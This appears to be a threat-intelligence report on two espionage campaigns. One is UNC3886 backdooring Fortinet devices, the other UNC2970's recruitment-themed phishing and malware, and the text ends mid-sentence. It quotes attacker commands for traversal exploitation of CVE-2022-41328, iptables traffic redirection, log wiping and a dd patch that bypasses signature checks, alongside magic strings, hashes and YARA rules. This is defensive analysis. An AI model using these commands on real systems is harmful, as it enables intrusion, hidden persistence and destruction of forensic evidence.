CASTLETAP ICMP packet structure When the C2 IP address and port was parsed from the activation packet, CASTLETAP initiated a connection to the C2 over an SSL socket. Once this connection was established, CASTLETAP expected the C2 server to initiate a handshake with the 16-byte sequence seen in Figure 13, echoing the same sequence in response. 0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D Figure 13: CASTLETAP handshake sequence Once connected to the C2, CASTLETAP could accept multiple types of commands over SSL, as seen in Table 4. Command Description Upload file (to victim) 9/21 Download file (from victim) Spawn busybox based command shell, otherwise fallback to a normal command shell. Continue receiving Receive complete Table 4: CASTLETAP command key When a command was successfully received, the backdoor returned the sequence ;7(Zu9YTsA7qQ#vw as an acknowledgement token; this same string was also sent to signal session termination. Once CASTLETAP was deployed to the FortiGate firewalls, the threat actor connected to ESXi and vCenter machines. The threat actor deployed VIRTUALPITA and VIRTUALPIE to establish persistence, allowing for continued access to the hypervisors and the guest machines. This is described in further detail in the blog post, Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Scenario #2 (Detailed): FortiManager Not Exposed to the Internet The technical details that follow describe the attack path taken by the threat actor where the FortiManager had network Access Control Lists (ACL) set up to restrict external access. Regaining Access to the Internet-restricted FortiManager When ACLs were implemented on the FortiManager device, the threat actor lost direct public access to device. To regain access to the FortiManager, the threat actor pivoted from a FortiGate Firewall compromised with CASTLETAP. The threat actor then deployed the following three (3) malicious files, seen in Table 5, to the FortiManager upon successful reconnection. Malware Family File Path Description /bin/support Launches /bin/auth and /bin/klogd and deletes the two files along with /bin/support from disk. TABLEFLIP /bin/auth A passive utility to setup network traffic redirection from a specific IP address destined to the FortiManager on TCP port 541 to another specified port. REPTILE /bin/klogd A backdoor utility that listens for a specialized packet for activation. Table 5: Attack Lifecycle 2 Malware Key The file /bin/support (MD5: 9ce2459168cf4b5af494776a70e0feda ) served as a launch script to execute /bin/klogd (REPTILE variant) and /bin/auth (TABLEFLIP). The attacker modified the startup file /etc/init.d/localnet to execute the line nohup /bin/support & so the script would run every time the system was rebooted. Since the running FortiOS file system was an ephemeral copy of the archive rootfs.gz , the files would be deleted from the ephemeral copy after being loaded into memory and persist in the rootfs.gz archive, a file not accessible to users without pulling a forensic image. The contents of /bin/support can be seen in Figure 14. 10/21 #!/bin/bash #cp /bin/sh /bin/top sleep 30 /bin/klogd /bin/auth rm -rf /bin/klogd rm -rf /nohup.out rm -rf /bin/support Figure 14: Contents of /bin/support TABLEFLIP (Traffic Redirection Utility) To enable continued access directly from the Internet, the threat actor implemented TABLEFLIP (MD5: b6e92149efaf78e9ce7552297505b9d5 ), a passive traffic redirection utility that listens on all active interfaces for specialized command packets. With this utility in place, and regardless of the ACL s in place, the threat actor would be able to connect directly to the FortiManager as seen in Figure 15. 11/21 Figure 15: TABLEFLIP behavior TABLEFLIP was configured to listen on all active interfaces for TCP packets and searches at the start of the TCP payload for the following magic packet, shown in Figure 16, for packets destined for port TCP 541. 17 03 01 01 D8 54 2F 31 Figure 16: TABLEFLIP magic number sequence If the magic number was found, the malware extracted a XOR key from offset 0xB of the TCP payload. This key was used as a seed for XOR based sequential decryption. TCP payload offset 0xC onwards was decrypted using this scheme. Figure 17 shows the structure of the payload. 12/21 struct _payload _DWORD magic_dword1; _DWORD magic_dword2; _BYTE unused[3]; _BYTE xor_key; _DWORD command; _DWORD ip; _WORD port; Figure 17: TABLEFLIP payload structure The malware then attempted to extract the command, IP, and port from the payload. Table 6 describes the command and actions taken when a command was recognized. Command Description 0xFFFEFDFC Enable redirection for traffic with source IP matching extracted IP and port 541 to extracted destination port 0xFCFDFEFF Disable redirection for traffic with source IP matching extracted IP and specified destination port Table 6: TABLEFLIP capabilities key Traffic redirection was accomplished by adding iptables rules on the FortiManager system as seen in Figure 18. with the source IP and redirection port specified in the command packet. iptables was executed to check if a PREROUTING rule for that IP and port combination already existed. If the combination was not found, a new redirection rule was added in the PREROUTING chain. The rules under the PREROUTING chain were processed immediately once the packet is received on an interface. iptables -t nat -S PREROUTING | grep | grep || iptables -t nat -A PREROUTING p tcp -s --dport 541 -j REDIRECT --to-port Figure 18: iptables rule to implement traffic redirection When assigned to delete traffic redirection, TABLEFLIP utilized the grep command to filter on all lines in the PREROUTING chain which contained the IP address and redirection port of interest, capturing the appropriate rule id s with awk . These id s were passed back to iptables with xargs to have them removed from the PREROUTING chain, as seen in Figure 19. iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '.*< redirection_port>' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING Figure 19: iptables rule to disable traffic redirection REPTILE (Backdoor) To achieve persistent access on the FortiManager device, the threat actor deployed a backdoor with the filename /bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d ) that Mandiant refers to as REPTILE, a variant of a publicly available Linux kernel module (LKM) rootkit. With the assistance of TABLEFLIP, the threat actor was able to successfully forward traffic and access the REPTILE backdoor using iptables traffic redirection rules. Once executed, REPTILE created a packet socket to receive OSI layer 2 packets. When a packet was received, the backdoor would perform the check seen in the pseudocode in Figure 20 to determine if a magic string was present. 13/21 single_byte_xor_key = (month * year) * day % 255 index = 2 * data_received_on_port_8[7]; data_to_decode_ptr = *((char *)&data[index + 12] + 1) i = 0 while ( i < strlen(data_to_decode) ) decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key; strncmp(&decoded_data, "mznCvqSBo", 9) Figure 20: REPTILE magic string detection pseudocode Table 7 shows the magic strings interpreted by REPTILE and their resultant actions. Magic String Description mznCvqSBo Parse C2 information from OSI layer 2 packet and connects to it over SSL. hpaVAj2FJ Kills REPTILE process (Only searched for if first magic string not found) Table 7: REPTILE magic string options Similar to the method used by CASTLETAP to decode the C2 information, REPTILE derived a single-byte XOR key from the Epoch date stamp to decrypt payload data, which caused the encryption key to change daily. Figure 21 shows the formula that was used to calculate the XOR key. (month * (year + 1900)) * day % 255 year: index starting from 1900 i.e. current_year-1900 month: index starting from 0 date: index starting from 1 Figure 21: REPTILE XOR key calculation If the magic string mznCvqSBo was found, a reverse shell was created with the C2 IP address and destination port extracted from the rest of the activation packet payload. When the first magic string was not present, the binary searched for the second magic string hpaVAj2FJ . If this second magic string was found, the REPTILE process will end. If no magic strings were found, the backdoor continued to listen for other connections. Threat Actor Anti-Forensics Clearing and Modifying Logs Mandiant analyzed the system memory of the FortiManager and identified threat actor commands used to clear specific events that contained the threat actor s IP address from multiple log sources. The commands seen in Figure 22 were utilized by the threat actor to remove log entries containing the IP address used to connect to the THINCRUST backdoor. echo > /var/log/django.log; \ echo > /var/log/apache2/error_log; \ sed -i //d /var/log/apache2/*log; \ ls -alt /var/log/ /var/log/apache2/ Figure 22: Threat actor s anti-forensics commands Disabling File System Verification on Startup 14/21 In an attempt to skip digital signature verification checks made to the file system on boot, the threat actor added the command seen in Figure 23 to the startup config /etc/init.d/localnet within the rootfs.gz archive of both FortiManager and FortiAnalyzer devices. printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null Figure 23: /etc/init.d/localnet DD Command Comparing the compromised /bin/smit ( a388ebaef45add5da503e4bf2b9da546 ) with a clean version from both FortiManager and FortiAnalyzer, the modified binary contained a single byte difference. The modified location within /bin/smit is executed when the mount command line argument is given on system startup. Normally, the mount function would perform OpenSSL 1.1.0 digital signature verification checks on the files in Figure 24 against /data/.fmg_sign , but this modification changed a conditional jump instruction to an unconditional jump instruction which always skipped digital signature verification checks normally made on the system files. /data/extlinux.sys /data/extlinux.conf /data/boot.msg /data/vmlinuz /data/rootfse-fe Figure 24: Files normally checked by /bin/smit Since the mount command executes prior to /etc/init.d/localnet on system startup, the dd command will overwrite the 22,866th byte of /bin/smit with the character , reverting the binary to a state that appears as if it was never tampered with, even if the file was hashed. Attribution UNC3886 is an advanced cyber espionage group with unique capabilities in how they operate on-network as well as the tools they utilize in their campaigns. UNC3886 has been observed targeting firewall and virtualization technologies which lack EDR support. Their ability to manipulate firewall firmware and exploit a zero-day indicates they have curated a deeper-level of understanding of such technologies. UNC3886 has modified publicly available malware, specifically targeting *nix operating systems. Another threat cluster unrelated to UNC3886, suspected to be from China has recently been observed targeting zero-day vulnerabilities in Fortinet as reported by Mandiant in mid-January of 2023. Mandiant continues to gather evidence and identify overlaps between UNC3886 and other groups that are attributed to Chinese APT. Conclusion The activity discussed in this blog post is further evidence that advanced cyber espionage threat actors are taking advantage of any technology available to persist and traverse a target environment, especially those technologies that do not support EDR solutions. This presents a unique challenge for investigators as many network appliances lack solutions to detect runtime modifications made to the underlying operating system and require direct involvement of the manufacturer to collect forensic images. Cross organizational communication and collaboration is key to providing both manufacturers with early notice of new attack methods in the wild before they are made public and investigators with expertise to better shed light on these new attacks. Mandiant recommends organizations using the ESXi and the VMware infrastructure suite follow the hardening steps outlined in this blog post to minimize the attack surface of ESXi hosts. Acknowledgements Special thanks to Jeremy Koppen, Kirstie Failey, Bryce Bucklin, Jay Smith, Nicholas Luedtke, Ronnie Salomonsen, Nino Isakovic, Charles Carmakal, and Fortinet PSIRT for their assistance with the investigation, technical review, and creating detections for the malware families discussed in this blog post. In addition, we would also like to thank Fortinet and VMware for their collaboration on this research. 15/21 Fortinet released two additional resources covering CVE-2022-41328 and an analysis of identified attacker activity. MITRE ATT&CK Techniques Impact T1565.001: Stored Data Manipulation Defense Evasion T1027: Obfuscated Files or Information T1070: Indicator Removal T1070.003: Clear Command History T1070.004: File Deletion T1078: Valid Accounts T1140: Deobfuscate/Decode Files or Information T1202: Indirect Command Execution T1218.011: Rundll32 T1222: File and Directory Permissions Modification T1497: Virtualization/Sandbox Evasion T1497.001: System Checks T1620: Reflective Code Loading Credential Access T1552: Unsecured Credentials T1555.005: Password Managers Discovery T1016: T1033: T1057: T1082: T1083: T1087: T1518: System Network Configuration Discovery System Owner/User Discovery Process Discovery System Information Discovery File and Directory Discovery Account Discovery Software Discovery Collection T1074.001: Local Data Staging T1560: Archive Collected Data T1560.001: Archive via Utility Execution T1059: Command and Scripting Interpreter T1059.001: PowerShell T1059.003: Windows Command Shell T1059.004: Unix Shell T1059.006: Python T1129: Shared Modules Command and Control T1095: Non-Application Layer Protocol T1102.001: Dead Drop Resolver T1105: Ingress Tool Transfer T1571: Non-Standard Port T1573.001: Symmetric Cryptography Lateral Movement 16/21 T1021.004: SSH Indicators of Compromise Type Values Description FortiGate Command execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci Attempted execution of this command or similar commands containing directory traversal are indicative of attempted exploitation of CVE-202241328 to upload a file to a normally restricted directory FortiGate Command execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci Attempted execution of this command or similar commands containing directory traversal are indicative of attempted exploitation of CVE-202241328 to upload a file to a normally restricted directory Filename /bin/fgfm CASTLETAP Sample found on a FortiGate device Symlinked File /bin/lspci -> /bin/sysctl lspci should be a standalone binary within FortiGate devices. A symlink suggests that a modification was made to the file system /p/util/show_device_info An API call which created by the threat actor which acted as a persistent backdoor on FortiManager devices /p/utils/fortigate_syslog_send An API call which created by the threat actor which acted as a persistent backdoor on FortiAnalyzer devices Python Function get_device_info A malicious python function added to /usr/local/lib/python3.8/proj/util/views.py on FortiAnalyzer and FortiManager devices which provided threat actors with a persistent backdoor Filename /bin/support Threat actor script which launches /bin/auth (TABLEFLIP) and /bin/klogd (REPTILE) and deletes the two files along with /bin/support from disk Filename /bin/auth TABLEFLIP Sample - A passive utility to setup traffic redirection from a specific IP address destined to the FortiManager on TCP541 to another specified port. Filename /bin/klogd REPTILE - A backdoor utility that listens for a specialized packet for activation 17/21 Config Change printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null Config change made to /etc/init.d/localnet on FortiAnalyzer and FortiManager devices to revert a binary after it was modified to bypass digital signature verification of system files 9ce2459168cf4b5af494776a70e0feda Threat actor script which launches /bin/auth (TABLEFLIP) and /bin/klogd (REPTILE) and deletes the two files along with /bin/support from disk b6e92149efaf78e9ce7552297505b9d5 TABLEFLIP sample 53a69adac914808eced2bf8155a7512d REPTILE variant sample a388ebaef45add5da503e4bf2b9da546 Modified /bin/smit 88711ebc99e1390f1ce2f42a6de0654d Localnet sample e2d2884869f48f40b32fb27cc3bdefff CASTLETAP sample 53a69adac914808eced2bf8155a7512d REPTILE variant sample 64bdf7a631bc76b01b985f1d46b35ea6 THINCRUST sample a86a8fe875a89816e5808588154a067e THINCRUST sample 3e43511c4f7f551290292394c4e21de7 Related to THINCRUST SHA1 86f3623b3fb8d5303b6c9d8295292a5c2ceb2889 Localnet sample SHA1 75c092098e3409d366a46fdde6a92ff97d29cee1 Smit sample SHA1 9dca7f1af5752bb007e5cc55acd2511f03049ee5 TABLEFLIP sample SHA1 8c40fc87fa3b25a559585b10a8ca11c81fb09f75 CASTLETAP sample SHA1 3109b890901499f7ebb90f8870a7d1617d27e7c9 REPTILE variant sample SHA1 b8bdaa1bd204a6c710875b0c4265655d1fd37d52 /bin/support sample SHA1 1a077212735617a665a6b631e34a6aedcbc41713 THINCRUST sample SHA1 d5f8436e9815358e33b8243abda76c9b398943e2 THINCRUST sample SHA1 8ef5159944d048fe84e51a818c9b11ebcfa98517 Related to THINCRUST SHA256 245e4646e5d984c2da4cfe223bb2fae679441bcf42b254fc193ae97dc32af7ad Localnet sample SHA256 9fb09fe6db61fbdd19ac9c368e2f64fb9606119649830762fa467719c480ed44 Smit sample SHA256 18afbad17dee0e4330a85b782e8e580c6125d8a7127cda69ad0e2728d505a6f5 TABLEFLIP sample 18/21 SHA256 a00fed53b1ece4610c8b52934c20af3667d455f092a77f8d9bc46fdb9047e41a CASTLETAP sample SHA256 eb6af99148f0ce5b58e414162ff2b7567b4cf08953862a088996365ff306014b REPTILE variant sample SHA256 33c22b2db8c0948c67204485972d2eb856e13dca16132371337fc3534e3df16d /bin/support sample SHA256 abefe121e5c895bf63be80152ccbe2d7bb5ad985aa3ab989bcb7c0804b90d004 THINCRUST sample SHA256 2266667af7532a32b9c21c330a9fe56356ca66610e39654804a7262f2af61017 THINCRUST sample SHA256 4e4c5e5ca588bd84b67a37b654ec522768fa83e535ff795a5c196da8f8b9737d Related to THINCRUST YARA Rules rule M_Hunting_Util_TABLEFLIP_1 meta: author = "Mandiant" description = "Looks for TABLEFLIP Binary" md5 = "b6e92149efaf78e9ce7552297505b9d5" strings: $z1 = "%1$s.*%2$d" fullword $x1 = "/proc/self/exe" fullword $x2 = "socket" fullword $x3 = "127." fullword $x4 = "iptables -t nat" fullword $s1 = "iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp s %1$s --dport 541 -j REDIRECT --to-port %2$d" $s2 = "iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING" condition: uint32(0) == 0x464c457f and filesize < 5MB and @x1 <= @x2 and @x2 <= @x3 and @x3 <= @x4 and ( $z1 or any of ($s*) ) 19/21 rule M_Hunting_Backdoor_REPTILE_1 meta: author = "Mandiant" description = "Looks for ELF backdoor REPTILE variant" md5 = "53a69adac914808eced2bf8155a7512d" strings: $x1 = ";7(Zu9YTsA7qQ#vw" $x2 = "mznCvqSBo" $x3 = "hpaVAj2FJ" $x4 = "%d.%d.%d.%d" $x5 = "HISTFILE=" $x6 = "TERM" $x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // taken from FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara condition: uint32(0) == 0x464c457f and all of them and #x4 >= 3 and #x6 == 1 and filesize < 15MB 20/21 rule M_Hunting_Backdoor_CASTLETAP_1 meta: author = "Mandiant" description = "Finds strings observed in CASTLETOP ELF binary" md5 = "e2d2884869f48f40b32fb27cc3bdefff" strings: $x1 = ";7(Zu9YTsA7qQ#vw" $x2 = "qWWlC0v6yYh2yxu" $x3 = "1qaz@WSXa" $x4 = "hpaVAj2FJ" $x5 = "%d.%d.%d.%d" $x6 = "HISTFILE=" $x7 = "TERM" $x8 = "/tmp/busybox" $x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } condition: uint16(18) == 183 and uint16(16) == 0x02 and uint32(0) == 0x464c457f and 1 of ($x*) and #x5 >= 3 and #x7 == 1 and filesize < 15MB rule M_Hunting_Backdoor_CASTLETAP_2 meta: author = "Mandiant" description = "Finds byte pattern related to XOR decode function" md5 = "e2d2884869f48f40b32fb27cc3bdefff" strings: $x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 } condition: uint16(18) == 183 and uint16(16) == 0x02 and uint32(0) == 0x464c457f and any of them and filesize < 15MB 21/21 Stealing the LIGHTSHOW (Part One) North Korea's UNC2970 mandiant.com/resources/blog/lightshow-north-korea-unc2970 Since June 2022, Mandiant has been tracking a campaign targeting Western Media and Technology companies from a suspected North Korean espionage group tracked as UNC2970. In June 2022, Mandiant Managed Defense detected and responded to an UNC2970 phishing campaign targeting a U.S.-based technology company. During this operation, Mandiant observed UNC2970 leverage three new code families: TOUCHMOVE, SIDESHOW, and TOUCHSHIFT. Mandiant suspects UNC2970 specifically targeted security researchers in this operation. Following the identification of this campaign, Mandiant responded to multiple UNC2970 intrusions targeting U.S. and European Media organizations through spear-phishing that used a job recruitment theme and demonstrated advancements in the groups ability to operate in cloud environments and against Endpoint Detection and Response (EDR) tools. UNC2970 is suspected with high confidence to be UNC577, also known as Temp.Hermit. UNC577 is a cluster of North Korean cyber activity that has been active since at least 2013. The group has significant malware overlaps with other North Korean operators and is believed to share resources, such as code and complete malware tools with other distinct actors. While observed UNC577 activity primarily targets entities in South Korea, it has also targeted other organizations worldwide. UNC2970 has historically targeted organizations with spear phishing emails containing a job recruitment theme. These operations have multiple overlaps with public reporting on Operation Dream Job by Google TAG, Proofpoint, and ClearSky. UNC2970 has recently shifted to targeting users directly on LinkedIn using fake accounts posing as recruiters. UNC2970 maintains an array of specially crafted LinkedIn accounts based on legitimate users. These accounts are well designed and professionally curated to mimic the identities of the legitimate users in order to build rapport and increase the likelihood of conversation and interaction. UNC2970 uses these accounts to socially engineer targets into engaging over WhatsApp, where UNC2970 will then deliver a phishing payload either to a target email, or directly over WhatsApp. UNC2970 largely employs the PLANKWALK backdoor during phishing operations as well as other malware families that share code with multiple tools leveraged by UNC577. Mandiant recently published a blog post detailing UNC2970 activity that was identified by Mandiant Managed Defense during proactive threat hunting. This activity was initially clustered as UNC4034 but has since been merged into UNC2970 based on multiple infrastructure, tooling, and tactics, techniques, and procedures (TTP) overlaps. When you're done reading this post, don't forget to check out part two on LIGHTSHIFT and LIGHTSHOW. Summary In June 2022, Mandiant Managed Defense detected and responded to an UNC2970 phishing campaign targeting a U.S.-based technology company. During this operation, Mandiant observed UNC2970 leverage three new code families: TOUCHMOVE, SIDESHOW, and TOUCHSHIFT. Mandiant suspects UNC2970 specifically targeted security researchers in this operation. Following the identification of this campaign, Mandiant responded to multiple UNC2970 intrusions targeting U.S. and European Media organizations through spear-phishing that used a job recruitment theme. Initial Access When conducting phishing operations, UNC2970 engaged with targets initially over LinkedIn masquerading as recruiters. Once UNC2970 contacts a target, they would attempt to shift the conversation to WhatsApp, where they would continue interacting with their target before sending a phishing payload that masqueraded as a job description. In at least one case, UNC2970 continued interacting with a victim even after the phishing payload was executed and detected, asking for screenshots of the detection. The phishing payloads primarily utilized by UNC2970 are Microsoft Word documents embedded with macros to perform remote-template injection to pull down and execute a payload from a remote command and control (C2). Mandiant has observed UNC2970 tailoring the fake job descriptions to specific targets. 1/20 Figure 1: UNC2970 lure document The C2 servers utilized by UNC2970 for remote template injection have primarily been compromised WordPress sites, a trend observed in other UNC2970 code families as well as those used by other DPRK groups. At the time of analysis, the remote template was no longer present on the C2, however following this phishing activity, Mandiant identified it beaconing to a C2 associated with PLANKWALK. In the most recent UNC2970 investigation, Mandiant observed the group returning to WhatsApp to engage their targets. This activity overlaps with a recent blog post by MSTIC on operations from ZINC, as well as the previously mentioned Mandiant blog post from July 2022. The ZIP file delivered by UNC2970 contained what the victim thought was a skills assessment test for a job application. In reality, the ZIP contained an ISO file, which included a trojanized version of TightVNC that Mandiant tracks as LIDSHIFT. The victim was instructed to run the TightVNC application which, along with the other files, are named appropriately to the company the victim had planned to take the assessment for. In addition to functioning as a legitimate TightVNC viewer, LIDSHIFT contained multiple hidden features. The first was that upon execution by the user, the malware would send a beacon back to its hardcoded C2; the only interaction this needed from the user was the launching of the program. This lack of interaction differs from what MSTIC observed in their recent blog post. The initial C2 beacon from LIDSHIFT contains the victim s initial username and hostname. LIDSHIFT s second capability is to reflectively inject an encrypted DLL into memory. The injected DLL is a trojanized Notepad++ plugin that functions as a downloader, which Mandiant tracks as LIDSHOT. LIDSHOT is injected as soon as the victim opens the drop down inside of the TightVNC Viewer application. LIDSHOT has two primary functions: system enumeration and downloading and executing shellcode from the LIDSHOT sends the following information back to its C2: Computer Name Product name as recorded in the following registry key SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName IP address Process List with User and Session ID associate per process Establish Foothold 2/20 In multiple investigations, Mandiant has observed UNC2970 deploy PLANKWALK to establish footholds within environments. PLANKWALK is a backdoor written in C++ that communicates over HTTP and utilizes multiple layers of DLL sideloading to execute an encrypted payload. PLANKWALK is initially executed through a launcher that will import and execute a second stage launcher expected to be on disk. Observed First Stage Launcher names: destextapi.dll manextapi.dll pathextapi.dll preextapi.dll Wbemcomn.dll Once loaded and executed, the secondary launcher will attempt to decrypt and execute an encrypted PLANKWALK sample on disk that matches the following pattern: C:\ProgramData\Microsoft\Vault\cache.db Once executed, PLANKWALK will decrypt an on-host encrypted configuration file that contains the C2 for the backdoor. The C2 for PLANKWALK has largely been co-opted by legitimate WordPress sites. Following the deployment of PLANKWALK, Mandiant observed UNC2970 leverage a wide variety of additional tooling, including Microsoft InTune to deploy a shellcode downloader. Tool Time: Kim The Toolman Taylor During their operations, Mandiant has observed UNC2970 use a wide range of custom, post-exploitation tooling to achieve their goals. One of UNC2970's go-to tools has been a dropper tracked as TOUCHSHIFT. TOUCHSHIFT allows UNC2970 to employ follow-on tooling that range from keyloggers and screenshot utilities, to full featured backdoors. TOUCHSHIFT TOUCHSHIFT is a malicious dropper that masquerades as mscoree.dll or netplwix.dll . TOUCHSHIFT is typically created in the same directory and simultaneously as a legitimate copy of a Windows binary. TOUCHSHIFT leverages DLL Search Order Hijacking to use the legitimate file to load and execute itself. TOUCHSHIFT has been observed containing one to two various payloads which it executes inmemory. Payloads that have been seen include TOUCHSHOT, TOUCHKEY, HOOKSHOT, TOUCHMOVE, and SIDESHOW. To appear legitimate, the file uses over 100 exports that match common system export names. However, the majority all point to the same empty function. The malicious code has been seen located in exports LockClrVersion or UsersRunDllW in different instances. Figure 2: Malicious export alongside several of the dummy exports When TOUCHSHIFT contains a second payload, it takes a single character command line option as its first argument to determine which of the two payloads to execute. 3/20 Figure 3: Checking command line options To unpack its payload(s), TOUCHSHIFT generates a decryption key by XOR encoding its second argument and the first 16 characters of the legitimate executable s file name. For example, in one instance Mandiant observed the arguments -CortanaUIFilter , XOR encoded with the hardcoded key 009WAYHb90687PXkS ,and printfilterpipel ,which was XOR encoded with the hardcoded key .sV%58&.lypQ[$= and was loaded by the file printfilterpipelinesvc.exe . In another instance, the argument used was --forkavlauncher and the loading file was C:\windows\Branding\Netplwiz.exe . Once the code is unpacked, it is then loaded into a memory location created by a call to VirtualAlloc and executed from there. Figure 4: Beginning of unpacked payload in memory Once the payload(s) has/have been executed, the main portion of TOUCHSHIFT will sleep for a period of time allowing the payload(s) to continue executing. TOUCHSHIFT-ing into Gear Follow on payloads 4/20 TOUCHSHOT TOUCHSHOT takes screenshots of the system on which it is running and saves them to a file to be retrieved by the threat actor at a later time. TOUCHSHOT is configured to take a screenshot every three seconds, and then uses ZLIB to compress the images. The compressed data is then appended to a file that it creates and continues appending new screenshots to this file until the file reaches five megabytes in size, at which point it will create a new file with the same naming convention. TOUCHSHOT was seen embedded in the same instance of TOUCHSHIFT as TOUCHKEY (discussed later in the post). TOUCHSHOT will create a file in the C:\Users\{user}\AppData\Roaming\Microsoft\Windows\Themes\ directory, and will name the file ~DM{####}P.dat , where the four numbers are pseudo-randomly generated. Once TOUCHSHOT has generated the file name, it attempts to create a handle to the file. If the return value indicates that the file does not exist, it will then create the file. This check is performed as part of a loop that continues until a new file needs to be created. After each iteration of the loop, TOUCHSHOT will then take a screenshot, which is appended to the staging file. Figure 5: Generation of the directory path Figure 6: Generation of file name with pseudo-random numbers 5/20 Figure 7: Creating a handle to the file or creating it Figure 8: Taking a screenshot TOUCHKEY TOUCHKEY is a keylogger that captures keystrokes and clipboard data, both of which are encoded with a single-byte XOR and saved to a file. As with TOUCHSHOT, these files need to be acquired by the threat actor through additional means. Figure 9: XOR ing data with byte 0x62 before writing to the staging file TOUCHKEY creates two files in the C:\Users\{user}\AppData\Roaming\Microsoft\Windows\Templates\ directory. The file name Normal.dost is used for storing the captured keystrokes, while the file name Normal.docb is used for the clipboard data. The full paths are then passed into their own thread, where the keystrokes or clipboard data will be captured and appended to their respective files. Figure 10: Path generation for the staging files 6/20 Figure 11: Adding file names to the full path and creating the threads In one of the created threads, TOUCHKEY will open the clipboard and grab the data that is stored within it. In the other thread, TOUCHKEY will set a hook into the keyboard, and record any keys that are pressed. Figure 12: Capturing the clipboard data Figure 13: Capturing keystrokes HOOKSHOT HOOKSHOT is a tunneler that leverages a statically linked implementation of OpenSSL to communicate back to its C2. While it connects over TCP, it does not make use of a client certificate for encryption. Figure 14: Example of OpenSSL statically linked in the file HOOKSHOT takes an encoded argument containing two IP and port pairs, which it will leverage for communicating with its C2. 7/20 Figure 15: Separating IP s and ports HOOKSHOT will then create a socket using these two IP addresses, and tunnel traffic across them utilizing TLSv1.0. Figure 16: Socket creation TOUCHMOVE TOUCHMOVE is a loader that decrypts a configuration file and a payload, both of which must be on disk, and then executes the payload. TOUCHMOVE generates an RC6 key to decrypt the two files by querying the system s BIOS date, version, manufacturer, and product name. Once decrypted, the results are XOR encoded with a hardcoded key. If the generated RC6 key is incorrect, the configuration and payload files will not successfully decrypt, indicating that UNC2970 compiles instances of TOUCHMOVE after having already conducted reconnaissance on the target victim system. Once the RC6 key is successfully generated, a handle is created to the configuration file, and the decryption process is conducted. If the configuration file is successfully decrypted, the payload s full path is located within it, and the same decryption process then occurs on the payload. Following this, the payload is executed. 8/20 Figure 17: Bios query strings Figure 18: Creating a handle to the configuration file Figure 19: Creating a handle to the payload SIDESHOW SIDESHOW is a backdoor written in C/C++ that communicates via HTTP POST requests with its C2 server. The backdoor is multi-threaded, uses RC6 encryption, and supports at least 49 commands, which can be seen in Table 1. Capabilities include arbitrary command execution (WMI capable); payload execution via process injection; service, registry, scheduled task, and firewall manipulation; querying and updating Domain Controller settings; creating password protected ZIP files; and more. SIDESHOW does not explicitly establish persistence; however, based on the multitude of supported commands it may be commanded to establish persistence. SIDESHOW derives a system-specific RC6 key using the same registry values as TOUCHMOVE and uses the generated key to decrypt the same configuration file from disk that TOUCHMOVE decrypted. The decrypted configuration file contains a list of C2 URLs to which SIDESHOW communicates using HTTP POST requests. SIDESHOW iterates this C2 URL list and attempts to authenticate to each C2 URL until it is successful. Once successful, SIDESHOW enters a state of command processing and sends additional HTTP POST requests to retrieve commands. SIDESHOW attempts to use the system's default HTTP User-Agent string during C2 communications; however, if not available it uses the hard-coded HTTP User-Agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.69 When communicating to its C2 server via HTTP POST requests, SIDESHOW forms a URI parameter string consisting of a mix of randomly selected and hard-coded URI parameters. Authentication requests use the following URI parameter string format: 1=&=pAJ9dk4OVq85jxKWoNfw1AG2C&=<16_random_hex_chars> The first URI parameter value comes from SIDESHOW s configuration and is used to seed the random function. The second URI parameter value, pAJ9dk4OVq85jxKWoNfw1AG2C , is hardcoded and likely an authentication credential. The third URI parameter value, <16_random_hex_chars> , is a session identifier ( ) used for future communications and consists of two subcomponents: 1. <8_random_hex_based_on_seed> 2. <8_random_hex_based_on_tickcount> 9/20 The first URI parameter's value, , is used as a random seed value to derive the first eight hexadecimal characters ( <8_random_hex_based_on_seed> ), whereas the last eight hexadecimal characters ( <8_random_hex_based_on_tickcount> ) are derived using the CPU's current tick count as the random seed value. This results in the value <8_random_hex_based_on_seed> being deterministic, while <8_random_hex_based_on_tickcount> is pseudo-random. The following is an example authentication URI parameter string: 1pguid=A59&ssln=pAJ9dk4OVq85jxKWoNfw1AG2C&cup2key=184B280E341AE63F Figure 20: Building of URI parameter string SIDESHOW parses the response and considers it a successful authentication if it contains the string . Command requests use the following URI parameter string format (notice that the and have switched locations in the string). 1=<5_random_digits>&=2&=<6_random_digits> Example command URI parameter string: 1other=37685&session=2184B280E341AE63F&page=593881 SIDESHOW parses the command response body and extracts data following the string . SIDESHOW then appears to Base64 decode and RC6 decrypt the extracted data. SIDESHOW responds to the commands listed in Table 1 (commands are described on a best effort basis). Figure 21: Switch statement following parsing of command Command ID Description Get lightweight system information and a few configuration details Enumerate drives and list free space List files in directory Execute arbitrary command via CreateProccess() and return output Likely zip directory to create password protected ZIP file with password AtbsxjCiD2axc*ic[3 The malicious PowerShell script was used to decode the Base64 encoded CLOUDBURST payload and drop it on disk as C:\ProgramData\mscoree.dll . The script would then write a copy of C:\Windows\System32\PresentationHost.exe to C:\ProgramData and execute it with the argument -embeddingObject . PresentationHost.exe is a legitimate Windows binary used by UNC2970 to sideload CLOUDBURST. Upon execution, 